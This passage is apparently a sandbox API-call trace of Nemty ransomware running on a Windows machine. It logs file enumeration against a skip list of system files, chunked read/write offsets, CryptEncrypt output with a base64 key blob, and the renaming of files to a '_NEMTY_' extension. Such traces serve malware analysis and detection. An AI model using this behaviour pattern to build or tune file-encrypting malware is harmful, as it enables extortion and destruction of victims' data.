lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.409] CloseHandle (hObject=0xffffffff) returned 0 [0084.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0084.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0084.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.409] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.410] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2=".") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="..") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="...") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="windows") returned -1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="$RECYCLE.BIN") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="rsa") returned -1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="NTDETECT.COM") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntldr") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="MSDOS.SYS") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="IO.SYS") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="boot.ini") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="boot.ini") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntuser.dat") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="desktop.ini") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="CONFIG.SYS") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="RECYCLER") returned -1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="BOOTSECT.BAK") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootmgr") returned 1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="programdata") returned -1 [0084.410] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="appdata") returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask.wmv", lpUsedDefaultChar=0x0) returned 14 [0084.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask.wmv", lpUsedDefaultChar=0x0) returned 14 [0084.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0084.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask.wmv", lpUsedDefaultChar=0x0) returned 14 [0084.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0084.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Panel_Mask.wmv", lpUsedDefaultChar=0x0) returned 14 [0084.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0084.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0084.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0084.411] Sleep (dwMilliseconds=0x5) [0084.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5f7d630, dwHighDateTime=0x1d561e7)) [0084.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5f7d630, dwHighDateTime=0x1d561e7)) [0084.425] GetLastError () returned 0x5 [0084.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.425] GetLastError () returned 0x5 [0084.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.425] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0084.425] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0084.426] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0084.426] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="cCOll4EQKDhSXmpJeoxs8BfVuH0sXBtYkoXGA7p/f4b0e/4mN8b8vF+ciyOuSkzb\r\nWxQkNFu31Blslb/AVVeB/PiSxpkGMARMEb7GujCybmqZW45D3ScuTAVG52RlJFuw\r\ndx4TUUIUGp1LMr7jqW25np2KHpw4MuT4tzCrJ2jDkqZVOHN0E1G/nm4LkhqkBAVN\r\nyKYDc5cpCLiF26jZPMhAn5DfFhq3lSYzeLTtbuKqXYNJDeGjU5nHCtf9v7TKNDER\r\nx51QIc6soAQ7TaNSRNujwrLqEi5+1Y/PCgmCjzdZSjQy28KgFrevwWjaN8PbumJ0\r\n+lfQYoEcHwuZqcqtL4+iSg==\r\n", pcchString=0x653e91c) returned 1 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0084.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.426] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0084.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.464] SetFilePointer (in: hFile=0xffffffff, 